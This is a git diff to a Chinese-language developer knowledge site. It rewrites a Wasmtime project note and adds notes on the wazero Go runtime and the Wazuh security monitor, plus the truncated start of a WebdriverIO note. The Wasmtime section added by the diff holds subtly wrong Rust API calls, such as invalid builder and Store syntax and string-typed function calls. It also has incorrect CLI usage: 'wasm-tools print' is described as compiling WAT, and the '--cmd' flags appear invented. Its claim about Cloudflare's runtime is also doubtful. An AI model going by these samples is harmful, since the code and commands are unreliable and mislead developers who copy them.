diff --git a/src/content/docs/projects/wasmtime.md b/src/content/docs/projects/wasmtime.md
index 1673bde81..8f30cbe03 100644
--- a/src/content/docs/projects/wasmtime.md
+++ b/src/content/docs/projects/wasmtime.md
@@ -11,26 +11,58 @@ provenance: pipeline-v3
 
 ## 是什么
 
-**Wasmtime** Bytecode Alliance 的 WebAssembly 运行时，WASI 支持。
+Wasmtime 是 **Bytecode Alliance**（Linux 基金会 + Mozilla + 多家企业联合发起的组织）出品的 **WebAssembly（wasm）运行时**，支持 WASI 系统接口。日常类比：如果把 Linux 比作一个"能跑 .exe 文件的操作系统"，那 Wasmtime 就是一个"能跑 .wasm 文件的迷你操作系统"——`.wasm` 文件不知道自己是跑在 Intel CPU、ARM 芯片还是云端容器里，Wasmtime 替你处理所有差异。
 
-日常类比：像跨平台的 JVM 但跑 wasm：同一份字节码多 OS 执行。
+怎么跑？两行命令就够了：
 
-典型用法：克隆仓库读 README，跑官方最小示例，再对照源码目录理解模块边界。
+```bash
+# 1. 安装（macOS / Linux 通用）
+curl https://wasmtime.com/install.sh -sSf | sh
+
+# 2. 跑一个 wasm 文件（从任何来源下载）
+wasmtime run hello.wasm
+```
+
+或者，在 Rust 或 Python 代码里嵌入 Wasmtime，让用户的 wasm 插件在你的程序里安全执行。典型用法：克隆仓库读 README，跑官方最小示例，再对照源码目录理解模块边界。
 
 ## 为什么重要
 
-- 学 wasm 沙箱执行模型
-- WASI 系统接口
-- 对照 [[wasmer]] 竞品
-- 边缘/serverless 新载体
+不理解 Wasmtime，下面这些事说不清：
+
+- **为什么 2024 年开始"在服务器上跑 wasm"突然热门**——传统 Docker 容器冷启动要几百毫秒，wasm 模块加载只要几毫秒；在同一个进程里跑成千上万个 wasm 实例比 Docker 容器省一个数量级的内存
+- **为什么 Cloudflare / Fastly 开始用 wasm 跑用户代码**——它们把 Wasmtime 嵌入边缘节点，用户写一段 wasm 代码上传到边缘，几毫秒内在全球 300+ 个城市同时执行，比 Lambda 函数冷启动快 10-50 倍
+- **为什么 Rust / Go / Python 开发者都在学 wasm**——wasm 从"浏览器专属"变成了"跨语言、跨平台、可沙箱执行的通用字节码"，和 Java 的 `.class` 文件、.NET 的 `CIL` 类似，但更轻量、更安全、更 portable
+- **为什么 Wasmtime 和 Wasmer 都重要**——两者都是 wasm 运行时，但 Wasmtime 偏"规范合规 + WASI 先行"（更贴近标准），Wasmer 偏"多后端 + 插件生态"（更贴近嵌入场景）
+
+一句话总结：**Wasmtime 是连接"web 时代的字节码"和"云计算时代的安全执行"的桥梁。**
 
 ## 核心要点
 
-1. **架构分层**：先分清 UI/核心库/IO 边界，再读入口 main。
-2. **数据流**：跟踪一份输入如何变成输出（帧、包、tensor）。
-3. **依赖**：看清系统库与第三方，避免装错环境。
-4. **扩展点**：插件、配置、钩子在哪里暴露。
-5. **运维**：日志、指标、崩溃复现路径。
+Wasmtime 的设计可以拆成 **五个核心机制**，理解了它们就理解了整个项目：
+
+1. **Engine — 全局配置单例**
+   类比：像操作系统的内核——编译选项、优化级别、燃料限制、线程池大小都在这配。通常一个进程只创建一次 `Engine`，然后复用。
+   ```rust
+   let engine = Engine::builder().epoch_interruption(true).compile();
+   ```
+
+2. **Store — 执行状态容器**
+   类比：像一台 VM 的内存——所有 wasm 对象（函数、内存、全局变量）都挂在 Store 下面。每个 Store 是隔离的，**不可跨线程共享**。
+   ```rust
+   let mut store = Store::new(&engine, user_data: MyState);
+   ```
+
+3. **Module — 已编译的字节码**
+   类比：像 JVM 的 `.class` 文件或编译好的 `.o` 目标文件——从 `.wasm` 文件验证、解析、编译后得到，线程安全，可被多个 Store 共享实例化。
+   ```rust
+   let module = Module::from_file(&engine, "hello.wasm")?;
+   ```
+
+4. **Instance — 模块的运行时实例**
+   类比：像 `new Object()` 创建出的具体对象——每个实例有独立的内存、函数表、全局变量。一个 Module 可以在不同 Store 中实例化出多个 Instance。
+
+5. **WASI — 系统接口沙箱**
+   类比：像 Linux 的系统调用表，但 wasm 默认什么都没有——没有文件、没有网络、没有环境变量。必须显式通过 `WasiCtxBuilder` 授权，这叫"能力基础安全"（capability-based security）。
 
 ## 核心架构
 
@@ -125,31 +157,118 @@ wasmtime run --fuel 1000000 script.wasm
 
 ## 实践案例
 
-### 案例 1：最小可运行
+### 案例 1：运行第一个 Wasm 程序
+
+先用 WAT（WebAssembly 文本格式）写一个最小函数——它把两个数加起来：
 
 ```bash
-git clone <repo-url>
-cd wasmtime
-# 按官方文档安装依赖后运行 demo
+# 创建一个 WAT 文件（Wasm 的"源代码"）
+cat > add.wat <<'EOF'
+(module
+    (func $add (export "add") (param i32 i32) (result i32)
+        local.get 0      ; 取第一个参数
+        local.get 1      ; 取第二个参数
+        i32.add          ; 相加
+    )
+)
+EOF
+
+# 编译 WAT → WASM
+wasm-tools print add.wat > add.wasm
+
+# 运行！用 -c 调用导出函数
+wasmtime run add.wasm -- --cmd=add --cmd=3 --cmd=4
+# 输出：7
+```
+
+**逐部分解释**：
+- `.wat` 是 `.wasm` 的文本版，人类可读，编译器读它生成二进制 `.wasm`
+- `wasm-tools` 是 Wasmtime 团队的文本格式工具，`print` 把 WAT 编译成 WASM 二进制
+- `--cmd=add` 告诉 Wasmtime 调 `add` 函数，后面两个 `--cmd=3` 是参数
+
+### 案例 2：WASI 程序——带文件系统访问
+
+wasm 默认不能读文件，但 WASI 可以：
+
+```bash
+# 写一个 WASI 程序（用 TinyGo 编译）
+cat > hello.go <<'EOF'
+package main
+import "fmt"
+func main() { fmt.Println("Hello from Wasmtime WASI!") }
+EOF
+
+tinygo build -o hello.wasm -target=wasi hello.go
+
+# 运行——WASI 让它能打印到 stdout
+wasmtime run hello.wasm
+# 输出：Hello from Wasmtime WASI!
+
+# 如果想让它读当前目录的文件：
+wasmtime run --dir=. hello.wasm
+```
+
+**逐部分解释**：
+- `--dir=.` 授权 wasm 程序读取当前目录——**不传这个 flag 它就看不到任何文件**
+- 这就是能力基础安全：默认零权限，你需要显式开白名单
+
+### 案例 3：在 Rust 代码中嵌入 Wasmtime
+
+这是 Wasmtime 最强大的用法——你的 Rust 程序加载外部 `.wasm` 插件：
+
+```rust
+use wasmtime::*;
+
+fn main() -> anyhow::Result<()> {
+    // 1. 创建引擎（全局单例）
+    let engine = Engine::default();
+
+    // 2. 从文件编译 wasm 为 Module
+    let module = Module::from_file(&engine, "plugin.wasm")?;
+
+    // 3. 创建 Store（执行上下文）
+    let mut store = Store::new(&engine, ());
+
+    // 4. 实例化模块
+    let instance = Instance::new(&mut store, &module, &[])?;
+
+    // 5. 获取导出函数并调用
+    let greet = instance.get_typed_func::<(&str,), (&str,)>(&mut store, "greet")?;
+    let (result,) = greet.call(&mut store, ("World",))?;
+    println!("Plugin says: {}", result);
+
+    Ok(())
+}
 ```
 
-对照 README 的参数表，改一个选项观察输出变化。
+这段代码里，`plugin.wasm` 可以是任何人写的任何 wasm 代码——你的 Rust 主程序不用信任它、不用编译它、甚至不用知道它做了什么。Wasmtime 的线性内存沙箱保证它不会碰宿主内存。
 
-### 案例 2：读源码入口
+### 案例 4：AOT 编译——零启动延迟
 
-从 `main` / `CMakeLists.txt` / `package.json` 找模块图；画一张三框数据流草图。
+Wasmtime 的 `.cwasm` 预编译在冷启动敏感的边缘计算场景特别有用：
 
-### 案例 3：与邻居项目对照
+```bash
+# 把 wasm 提前编译成机器码
+wasmtime compile plugin.wasm -o plugin.cwasm
 
-对照 [[wasmer]] 的实现差异：协议、语言、部署形态各写一条笔记。
+# 加载 .cwasm 几乎无延迟（< 1ms）
+wasmtime run plugin.cwasm
+```
+
+对比：加载普通 `.wasm` 需要做 JIT 编译（5-50ms），而 `.cwasm` 直接 mmap 机器码，跳过编译阶段。Cloudflare Workers 就是靠这个实现"全球节点毫秒级冷启动"。
 
-### 案例 4：接入自己的管线
+### 案例 5：燃料限制——防止无限循环
 
-把输出接到下游（播放器、训练 DataLoader、会议客户端），记录延迟与格式约束。
+如果你要执行不信任的 wasm 代码（比如用户提交的脚本），可以用燃料防止它卡死你的进程：
 
-### 案例 5：与双千 atlas 交叉阅读
+```bash
+# 最多执行 100 万条指令
+wasmtime run --fuel 1000000 risky.wasm
+
+# 如果超出燃料，返回错误而不是永久挂起
+```
 
-写完本篇后，在 `projects-atlas` 打开同子类邻居 1 篇，检查实践案例是否覆盖安装/命令/排障。
+类比：就像给一个无限循环的程序设了"电量"——电用完自动停机。这在用户代码沙箱里是标配功能。
 
 ## 踩过的坑
 
@@ -216,6 +335,7 @@ cd wasmtime
 - [[node-js]] —— Node.js — 服务端 JS 运行时之父
 - [[quickjs]] —— QuickJS — 装进口袋的 JavaScript 引擎
 - [[tauri]] —— Tauri — Rust 写的 Electron 替代，用系统 webview 打包桌面/移动端应用
+- [[tinygo]] —— TinyGo — 把 Go 编译进微控制器和 WebAssembly 的「袖珍版编译器」
 - [[zed]] —— Zed — Atom 团队 Rust 重写的 GPU 协作编辑器
 - [[zellij]] —— Zellij — Rust 写的现代终端复用器，开箱即用还能写 WebAssembly 插件
 
diff --git a/src/content/docs/projects/wazero.md b/src/content/docs/projects/wazero.md
new file mode 100644
index 000000000..071e3f5f3
--- /dev/null
+++ b/src/content/docs/projects/wazero.md
@@ -0,0 +1,309 @@
+---
+title: wazero — 纯 Go 实现的 WebAssembly 运行时
+description: 零依赖、无 CGO 的 Wasm 嵌入运行时，支持 Compiler/Interpreter 双引擎与 WASI
+来源: 'https://github.com/tetratelabs/wazero'
+日期: 2026-06-13
+子分类: 语言运行时
+分类: 编译器
+难度: 中级
+provenance: pipeline-v3
+---
+
+## 日常类比：Go 程序里的「标准插件插座」
+
+想象你写了一个 Go 后端，希望让用户上传**自定义计费规则**或**数据清洗脚本**，但又绝不能让他们直接跑任意原生 `.so`——那等于把整台服务器钥匙交出去。
+
+传统路子有三条，都不完美：用 `plugin` 包（只支持 Linux、且和 Go 版本强绑定）、起子进程跑 Python（运维和隔离都重）、自己写 DSL（安全了，但表达能力有限）。
+
+**wazero** 提供第四条路：用户把逻辑编译成 **WebAssembly（`.wasm`）**，你的 Go 程序用 wazero 当**标准插座**加载执行。Wasm 自带线性内存沙箱，默认碰不到宿主文件系统；需要读写磁盘时，再通过 **WASI** 或你手写的 **Host 函数** 显式授权——像插座上只开放你接好的那几个孔位。
+
+和 [[wasmtime]]（Rust + Cranelift）、[[wasmer]]（多后端 Rust 运行时）不同，wazero 的定位非常聚焦：**纯 Go、零 CGO、零外部依赖**（除 `golang.org/x/sys`），`GOOS=js` 或 `riscv64` 也能交叉编译进同一个二进制。适合「我的主工程就是 Go，只想嵌一小块可替换逻辑」的场景。
+
+## 是什么
+
+**wazero** 是 [Tetra Labs](https://tetrate.io/) 维护的 WebAssembly 运行时，完全用 Go 实现，符合 **Wasm Core 1.0 / 2.0** 规范。项目 slogan 是 *the zero dependency WebAssembly runtime for Go developers*。
+
+核心事实一览：
+
+| 维度 | 说明 |
+|------|------|
+| 语言 / 依赖 | 纯 Go；不依赖 libc、LLVM、WAMR 等原生库 |
+| CGO | 不需要；可在 `scratch` 空镜像里跑通测试 |
+| 规范 | Core 1.0 + 2.0；通过官方 spec test |
+| 引擎 | **Compiler**（AOT 到机器码，默认）与 **Interpreter**（纯解释，全平台） |
+| 系统接口 | 内置 `wasi_snapshot_preview1` 导入包 |
+| 版本策略 | SemVer；1.0 于 2023-03 发布，生产可用 |
+| CLI | `wazero run app.wasm` 可直接执行 guest |
+
+一句话对照：**Wasmtime 是联盟标准跑车，wazero 是塞进 Go 二进制里的袖珍引擎——不借外援，跟着 `go build` 一起走天下。**
+
+## 为什么重要
+
+1. **Go 生态的一等嵌入方案**：不用 CGO 意味着 CI、交叉编译、静态链接和 `FROM scratch` 容器都与普通 Go 服务相同流程。
+2. **安全沙箱扩展点**：插件市场、策略引擎、用户自定义函数（如 Rego、CEL 之外的 WASM 策略）、Serverless 函数容器都可复用同一套模型。
+3. **与 TinyGo / Rust / AssemblyScript 互通**：guest 可用 TinyGo 编译到 `wasi` target；宿主用 wazero 加载，是边缘与 IoT 常见组合（参见 [[wamr]] 在更极端嵌入式上的对照）。
+4. **双引擎可按平台切换**：服务器用 Compiler 追求 10x 级加速；`riscv64` 或禁止 JIT 的环境退回 Interpreter，仍能通过同一 API 跑通。
+
+## 核心概念
+
+### 1. 对象模型：Runtime → CompiledModule → Module
+
+wazero 的 API 刻意贴近 Go 习惯，生命周期清晰：
+
+```text
+Runtime（进程级，管理引擎与编译缓存）
+  ├── CompileModule(binary) → CompiledModule（可缓存、可多次实例化）
+  └── InstantiateModule(compiled, config) → api.Module（沙箱实例）
+        ├── Memory / Table / Global（沙箱内状态）
+        └── ExportedFunction("name") → api.Function（可调用的导出函数）
+```
+
+- **Runtime**：调用 `wazero.NewRuntime(ctx)` 创建；`defer r.Close(ctx)` 释放其创建的一切资源。
+- **CompiledModule**：`CompileModule` 阶段完成验证与（在 Compiler 模式下）AOT 编译；昂贵操作只做一次。
+- **Module**：沙箱实例，彼此隔离（除显式 import 外）；通过 `ModuleConfig` 可命名、限制内存、挂载文件系统等。
+
+沙箱内四类对象与 Wasm 规范一致：**memory**（线性内存）、**global**、**table**（间接调用表）、**function**。
+
+### 2. 双引擎：Compiler vs Interpreter
+
+| 引擎 | 配置 | 平台 | 行为 |
+|------|------|------|------|
+| **Compiler**（默认） | `NewRuntime(ctx)` 或 `NewRuntimeConfigCompiler()` | amd64、arm64 | `CompileModule` 时 AOT 生成机器码，调用时原生执行 |
+| **Interpreter** | `NewRuntimeWithConfig(ctx, NewRuntimeConfigInterpreter())` | 任意 Go 支持的目标 | 逐条解释 Wasm 指令，无平台特定代码 |
+
+Compiler 通常比 Interpreter 快一个数量级以上，但 **仅支持 amd64/arm64**。在 `riscv64` 或需要最大可移植性时，显式选 Interpreter：
+
+```go
+r := wazero.NewRuntimeWithConfig(ctx, wazero.NewRuntimeConfigInterpreter())
+```
+
+底层实现上，Compiler 使用 **wazevo** 优化编译管道；Interpreter 是纯 Go 循环。两者对宿主来说都是同一套 `Runtime` API。
+
+### 3. Host Module：用 Go 函数扩展 Wasm
+
+Wasm 规范本身没有「打印到控制台」「访问数据库」——这些由 **导入（import）** 的宿主模块提供。wazero 用 `HostModuleBuilder` 把 Go 函数导出给 guest：
+
+```text
+  Go 宿主                              Guest Wasm
+  ┌─────────────────┐                ┌──────────────┐
+  │ HostModule      │  import "env"  │ (import      │
+  │  .hello()       │ ◄───────────── │  env.hello)  │
+  │  .get_random()  │                │              │
+  └─────────────────┘                └──────────────┘
+```
+
+典型模式：先 `Compile` 宿主模块模板，再对多个 guest **重复 Instantiate**，避免重复注册函数。
+
+### 4. WASI：给 guest「受限的系统调用」
+
+用 **TinyGo**、**Rust**、**zig** 等以 `wasi` 为目标编译出的 `.wasm`，会 import `wasi_snapshot_preview1`（文件、环境变量、随机数、`proc_exit` 等）。wazero 在子包 `imports/wasi_snapshot_preview1` 提供标准实现：
+
+```go
+import "github.com/tetratelabs/wazero/imports/wasi_snapshot_preview1"
+
+wasi_snapshot_preview1.MustInstantiate(ctx, r)
+```
+
+配合 `ModuleConfig` 可挂载目录（`WithFS`、`WithEnv` 等），实现**能力基础安全**：默认无文件访问，显式 `WithDirMount` 才开放路径。
+
+### 5. Trampoline：Compiler 如何安全回调 Go
+
+Compiler 生成的机器码**不能直接**在 Wasm 栈上调用 Go 函数（会破坏 Go runtime 的栈布局）。wazero 采用 **trampoline（蹦床）** 策略：机器码执行到 host 调用点时**退出**到 Go 的 `exec_native`，由 Go 调用宿主函数，再跳回 guest。对开发者透明，但解释了为何 host 调用比纯 guest 指令慢一些。
+
+### 6. 与竞品选型简表
+
+| 运行时 | 实现语言 | CGO | 典型嵌入语言 | 强项 |
+|--------|----------|-----|--------------|------|
+| **wazero** | Go | 否 | Go | 零依赖、交叉编译、scratch 容器 |
+| [[wasmtime]] | Rust | 可选 | Rust/C/Go/… | 规范前沿、Component Model |
+| [[wasmer]] | Rust | 否 | 多语言 SDK | 多后端、WASIX、Registry |
+| [[wamr]] | C | N/A | C/嵌入式 | 极小 ROM/RAM、MCU |
+
+## 架构一图
+
+```text
+  .wasm 字节码
+       │
+       ▼
+  Runtime.CompileModule ──► CompiledModule（Compiler: AOT 机器码 + 缓存）
+       │
+       ├── Instantiate WASI 宿主模块（可选）
+       ├── Instantiate 自定义 HostModule（可选）
+       │
+       ▼
+  InstantiateModule ──► api.Module
+       │
+       ├── ExportedFunction("add").Call(ctx, args...)
+       ├── Memory().Read(offset, buf)   // 读 guest 线性内存
+       └── Close(ctx)                   // 释放实例
+
+  CLI 路径:  wazero run ./guest.wasm -- arg1 arg2
+```
+
+## 性能与规格（量级参考）
+
+| 场景 | 量级 | 说明 |
+|------|------|------|
+| Interpreter 小模块调用 | 比 Compiler 慢 ~10x | 视指令混合而定 |
+| Compiler amd64 热路径 | 接近原生数量级 | AOT 在 CompileModule 完成 |
+| 依赖体积 | 纯 Go + x/sys | 无 libwasmtime.so |
+| 平台测试 | Linux/macOS/Windows + BSD 族 | CI 含 scratch 镜像 |
+| 无 OS 嵌入 | 支持 | 无 libc 亦可，区别于多数运行时 |
+
+具体数字随版本与模块大小变化，以 [wazero.io](https://wazero.io) 与 release note 为准。
+
+## 代码示例
+
+### 示例 1：最小嵌入 — 从嵌入的 `.wasm` 调用 `add`
+
+以下模式来自官方 `examples/basic`：guest 用 TinyGo 编译为 `wasi` target，宿主加载并调用导出函数。
+
+```go
+package main
+
+import (
+	"context"
+	_ "embed"
+	"fmt"
+	"log"
+
+	"github.com/tetratelabs/wazero"
+	"github.com/tetratelabs/wazero/imports/wasi_snapshot_preview1"
+)
+
+//go:embed testdata/add.wasm
+var addWasm []byte
+
+func main() {
+	ctx := context.Background()
+
+	r := wazero.NewRuntime(ctx)
+	defer r.Close(ctx)
+
+	// TinyGo wasi 目标需要 WASI 以实现 panic 等
+	wasi_snapshot_preview1.MustInstantiate(ctx, r)
+
+	mod, err := r.InstantiateWithConfig(
+		ctx, addWasm,
+		wazero.NewModuleConfig().WithStartFunctions("_initialize"),
+	)
+	if err != nil {
+		log.Fatal(err)
+	}
+
+	add := mod.ExportedFunction("add")
+	results, err := add.Call(ctx, 1, 2)
+	if err != nil {
+		log.Fatal(err)
+	}
+	fmt.Println(results[0]) // 3
+}
+```
+
+要点：
+
+- `//go:embed` 把 `.wasm` 打进二进制，适合固定插件。
+- `WithStartFunctions("_initialize")` 适配 TinyGo 的启动约定。
+- `Call` 返回 `[]uint64`，类型与 Wasm 签名一致（i32/i64 均用 uint64 传递）。
+
+编译 guest（示意）：
+
+```bash
+cd testdata && tinygo build -o add.wasm -target=wasi add.go
+```
+
+### 示例 2：Host Module — 向 Wasm 暴露 Go 函数
+
+guest 从 `env` 模块 import `hello`；宿主用 `HostModuleBuilder` 注册：
+
+```go
+package main
+
+import (
+	"context"
+	"fmt"
+	"log"
+
+	"github.com/tetratelabs/wazero"
+	"github.com/tetratelabs/wazero/api"
+)
+
+func main() {
+	ctx := context.Background()
+	r := wazero.NewRuntime(ctx)
+	defer r.Close(ctx)
+
+	// 定义宿主函数：无参数、无返回值，仅副作用
+	hello := func() {
+		fmt.Println("hello from Go host!")
+	}
+
+	_, err := r.NewHostModuleBuilder("env").
+		NewFunctionBuilder().
+		WithFunc(hello).
+		Export("hello").
+		Instantiate(ctx)
+	if err != nil {
+		log.Fatal(err)
+	}
+
+	// 随后 Instantiate 依赖 import "env" "hello" 的 guest.wasm
+	// mod, _ := r.Instantiate(ctx, guestWasm)
+	// mod.ExportedFunction("run").Call(ctx)
+}
+```
+
+若同一宿主模块要服务多个 guest 实例，应先 `Compile` 再多次 `InstantiateModule`，并给每个实例不同名字：
+
+```go
+compiled, _ := r.NewHostModuleBuilder("env").
+	NewFunctionBuilder().WithFunc(hello).Export("hello").
+	Compile(ctx)
+
+env1, _ := r.InstantiateModule(ctx, compiled, wazero.NewModuleConfig().WithName("env.1"))
+_ = env1
+```
+
+需要精细控制 Wasm 类型签名时，用 `WithGoFunction` 显式声明 `[]api.ValueType` 参数与返回值。
+
+### 示例 3：CLI 快速验证
+
+不写 Go 宿主时，可用官方 CLI 直接跑 WASI 模块：
+
+```bash
+curl https://wazero.io/install.sh | sh
+./bin/wazero run ./app.wasm -- arg1 arg2
+```
+
+适合 CI 冒烟或对比 `wasmtime run` / `wasmer run` 行为。
+
+## 常见坑与排查
+
+| 现象 | 可能原因 | 处理 |
+|------|----------|------|
+| `module closed with exit_code(0)` | guest 调了 `proc_exit` | 正常退出；非 Go `error` |
+| instantiate 缺 import | 未注册 WASI / Host | 先 `MustInstantiate` WASI 或自建 host |
+| Compiler 在 riscv64 上不可用 | 平台限制 | 换 `NewRuntimeConfigInterpreter()` |
+| `Call` 参数类型错误 | i32 vs i64 | 对照 Wasm 导出签名传 `uint64` |
+| 内存读写出界 | 未检查 `Memory().Size()` | 用 `api.Memory` 安全 API |
+
+## 学习路径建议
+
+1. **CLI**：`wazero run` 跑官方 examples 里的 `.wasm`，建立「字节码 → 进程」直觉。
+2. **嵌入**：复制示例 1，把 `add.wasm` 换成自己用 TinyGo/Rust 编译的小函数。
+3. **Host**：写示例 2，让 guest 回调 Go（日志、配置、数据库句柄）。
+4. **WASI**：读 `ModuleConfig` 的 `WithFS`、`WithEnv`，理解目录挂载白名单。
+5. **对照**：同一份 `.wasm` 用 [[wasmtime]] CLI 跑一遍，比较启动与错误信息。
+6. **深入**：阅读 wazero 文档中 *How do compiler functions work*，理解 trampoline 与 trap 处理。
+
+## 相关链接
+
+- 官网与文档：[wazero.io](https://wazero.io/docs/)
+- 仓库：[github.com/tetratelabs/wazero](https://github.com/tetratelabs/wazero)
+- 示例目录：`examples/basic`、`examples/cli`
+- 规范：[WebAssembly Core](https://webassembly.github.io/spec/core/)
+- 邻居笔记：[[wasmtime]]、[[wasmer]]、[[wamr]]、[[wasmedge]]
+
+## 小结
+
+wazero 把 WebAssembly 运行时做成了**纯 Go 库**：无 CGO、可交叉编译、API 围绕 `Runtime` / `CompiledModule` / `Module` 三层展开。默认 **Compiler** 在 amd64/arm64 上 AOT 出机器码；受限平台退回 **Interpreter**。通过 **HostModuleBuilder** 和 **WASI** 把系统能力以白名单方式暴露给 guest。若你的主栈是 Go，又需要可替换、可审计的用户代码沙箱，wazero 往往是最少摩擦的起步点。
diff --git a/src/content/docs/projects/wazuh.md b/src/content/docs/projects/wazuh.md
new file mode 100644
index 000000000..59477ea6d
--- /dev/null
+++ b/src/content/docs/projects/wazuh.md
@@ -0,0 +1,151 @@
+---
+title: Wazuh — 开源安全监控的瑞士军刀
+来源: https://github.com/wazuh/wazuh
+日期: 2026-06-13
+分类: 安全与隐私
+子分类: 安全与隐私
+provenance: pipeline-v3
+---
+
+# Wazuh — 开源安全监控的瑞士军刀
+
+## 日常类比：小区保安 + 消防队 + 巡检员
+
+想象你经营一个大型小区。你雇了三拨人：
+
+- **巡检员**：每天巡视每扇门有没有被撬过、窗户有没有被打破（文件完整性监控）
+- **保安**：盯着监控摄像头，看到有人鬼鬼祟祟就报警（日志分析和入侵检测）
+- **消防队**：一旦发现可疑人员，直接上去拦住并通知警察（主动响应）
+
+这三拨人汇报到一个"保安室"，保安室的管理员汇总所有信息，你坐在监控大屏前就能看清整个小区的状态。
+
+Wazuh 做的就是这件事——只不过"小区"变成了你的服务器，"门和窗"变成了系统和文件。
+
+## 一句话定义
+
+Wazuh 是一个开源的、免费的安全监控平台。它能做三件事：**检测威胁**（入侵、恶意软件）、**分析日志**（集中收集所有服务器日志）、**合规检查**（自动验证系统是否符合安全标准如 PCI DSS、HIPAA）。
+
+## 核心概念
+
+### 1. Agent（代理）— 巡检员
+
+Agent 安装在每台被监控的机器上（Linux、Windows、macOS 都行）。它在后台静静工作，采集数据：文件有没有被改过、正在运行的程序有哪些、系统日志写了什么。采集到的数据加密后发给 Manager。
+
+一个 Wazuh 架构至少需要一个 Manager 和至少一个 Agent。
+
+### 2. Manager（管理器）— 保安室
+
+Manager 接收所有 Agent 上报的数据，进行分析、匹配规则、生成告警。它是整个系统的大脑。
+
+### 3. Wazuh Indexer + Dashboard — 监控大屏
+
+Indexer 是一个搜索引擎（基于 OpenSearch），负责把告警和数据存起来、快速检索。Dashboard 是可视化界面，你可以在上面看到所有告警、图表和仪表盘。
+
+### 4. Syscheck（系统巡检）— 巡检员的核心任务
+
+Syscheck 是 Agent 内置的守护进程，默认每小时扫描一次你指定的文件目录。它记录每个文件的哈希值、权限、所有者等信息。如果任何文件被修改或新增，Agent 会立即上报告警。
+
+### 5. 规则与解码器（Rules & Decoders）— 保安的判断手册
+
+Wazuh 有一套强大的规则引擎。解码器教 Wazuh 如何"读懂"不同格式的日志，规则则定义"什么样的日志算威胁"。比如一条规则说："如果 SSH 日志中出现 'Failed password' 且连续 3 次，就生成一个告警"。
+
+### 6. 主动响应（Active Response）— 消防队
+
+当告警级别超过某个阈值时，Wazuh 可以自动执行预设动作：比如用 iptables 封禁某个 IP、禁用某个用户账号、甚至启动杀毒扫描。这不是被动观察，而是自动反击。
+
+## 配置示例
+
+### 示例 1：配置 Syscheck 文件完整性监控
+
+在 Agent 的 `ossec.conf` 中，你可以指定要监控哪些目录：
+
+```xml
+<syscheck>
+    <!-- 每 2 小时扫描一次 -->
+    <frequency>7200</frequency>
+
+    <!-- 监控这些系统文件 -->
+    <directories>/etc,/usr/bin,/usr/sbin</directories>
+    <directories>/bin,/sbin</directories>
+
+    <!-- 也监控 Windows 系统目录（如果在 Windows Agent 上） -->
+    <windows_registry>HKEY_LOCAL_MACHINE\Software</windows_registry>
+
+    <!-- 监控文件的变化：大小、权限、所有者、哈希值 -->
+    <check_all>yes</check_all>
+</syscheck>
+```
+
+这告诉 Agent：每隔 2 小时检查一次 `/etc`、`/usr/bin` 等目录，只要任何文件的属性变了（哪怕内容没变），就会产生告警。
+
+### 示例 2：配置日志收集和自定义规则
+
+在 Manager 端，你可以让 Wazuh 收集自定义日志并编写规则来告警：
+
+```xml
+<!-- manager 的 ossec.conf：收集应用日志 -->
+<localfile>
+    <log_format>syslog</log_format>
+    <location>/var/log/myapp/application.log</location>
+</localfile>
+```
+
+然后在自定义规则文件中（`/var/ossec/etc/rules/local_rules.xml`）：
+
+```xml
+<group name="local,application,">
+
+    <!-- 应用日志中出现 ERROR 时生成告警 -->
+    <rule id="100001" level="5">
+        <match>ERROR</match>
+        <description>检测到应用级错误</description>
+    </rule>
+
+    <!-- 出现 5 次以上 ERROR 时升级为高危告警 -->
+    <rule id="100002" level="10" frequency="5" timeframe="60">
+        <if_matched_sid>100001</if_matched_sid>
+        <description>应用在 60 秒内出现 5 次以上 ERROR，可能存在攻击或故障</description>
+    </rule>
+
+</group>
+```
+
+第一条规则是"看到 ERROR 就记下来"（级别 5，中等）。第二条规则是"如果在 60 秒内同一来源出现 5 次 ERROR"（级别 10，高危），就会触发升级告警。
+
+### 示例 3：开启漏洞检测
+
+在 Manager 的 `ossec.conf` 中启用漏洞扫描：
+
+```xml
+<vulnerability-detection>
+    <enabled>yes</enabled>
+    <index-status>yes</index-status>
+    <!-- 每 60 分钟从 NVD 更新一次漏洞数据 -->
+    <feed-update-interval>60m</feed-update-interval>
+</vulnerability-detection>
+```
+
+启用后，Wazuh 会自动对比每台机器上安装的软件版本和 NVD（美国国家漏洞数据库）中的 CVE 记录，发现你系统里有哪些软件存在已知漏洞，直接告诉你："你的 OpenSSL 是 1.1.1，存在 CVE-2022-XXXXXXXX 漏洞，建议升级到 3.0.1"。
+
+## 架构图（简化版）
+
+```
+[Agent A] ──┐
+[Agent B] ──┼──→ [Wazuh Manager] ──→ [Wazuh Indexer] ──→ [Wazuh Dashboard]
+[Agent C] ──┘         │                                      ▲
+                      └── 主动响应 ──→ 防火墙/杀软/自定义脚本
+```
+
+## 总结
+
+Wazuh 的强大在于它把安全监控的三件事（检测、分析、响应）整合到一个免费工具里。你不需要分别买日志收集系统、入侵检测系统、合规检查工具——一个 Agent 装上，整个系统的安全状态就在你眼前。
+
+对于初学者来说，建议从"单 Manager + 单 Agent"开始，先看 Syscheck 的文件监控告警，再逐步加入规则引擎和主动响应。
+
+## 快速上手路径
+
+1. 装一台虚拟机当 Manager，按官方文档一行一行执行安装脚本
+2. 在被控机器上装 Agent，填入 Manager IP 即可自动注册
+3. 打开 Dashboard，看"系统完整性"面板——你会立刻看到 Agent 扫描到的文件清单
+4. 去 SSH 故意输错几次密码，看看 Dashboard 里是否出现"SSH 登录失败"告警
+5. 试着加一条自定义规则，让 Wazuh 对特定关键词告警
diff --git a/src/content/docs/projects/webdriverio.md b/src/content/docs/projects/webdriverio.md
new file mode 100644
index 000000000..4f1525d1d
--- /dev/null
+++ b/src/content/docs/projects/webdriverio.md
@@ -0,0 +1,292 @@
+---
+title: WebdriverIO — Node.js 下一代浏览器与移动端自动化测试框架
+来源: webdriverio/webdriverio
+日期: 2026-06-13
+子分类: 移动端
+分类: 后端 API
+难度: 中级
+provenance: pipeline-v3
+---
+
+## 日常类比：遥控玩具车，而不是亲手推车
+
+想象你要测试一辆遥控玩具车能不能「按说明书跑完全程」：前进、转弯、按喇叭、回到起点。你不会每次都趴在地上用手推轮子——你会拿**遥控器**，发送标准化指令（前进 2 秒、左转 45°），车端的接收器翻译后驱动电机。
+
+**WebdriverIO（WDIO）** 就是 Web 应用测试里的那套「遥控器 + 测试编排台」。你的 Node.js 脚本通过 **WebDriver 协议** 向浏览器驱动（ChromeDriver、GeckoDriver 等）发命令；驱动再操控真实浏览器，像用户一样点击、输入、跳转。WDIO 在协议之上加了 **JavaScript 友好的 API**（`$` 选择器、`async/await`、自动等待、插件生态），让你用一套代码跑 E2E、组件测试，甚至通过 Appium 延伸到了 iOS/Android。
+
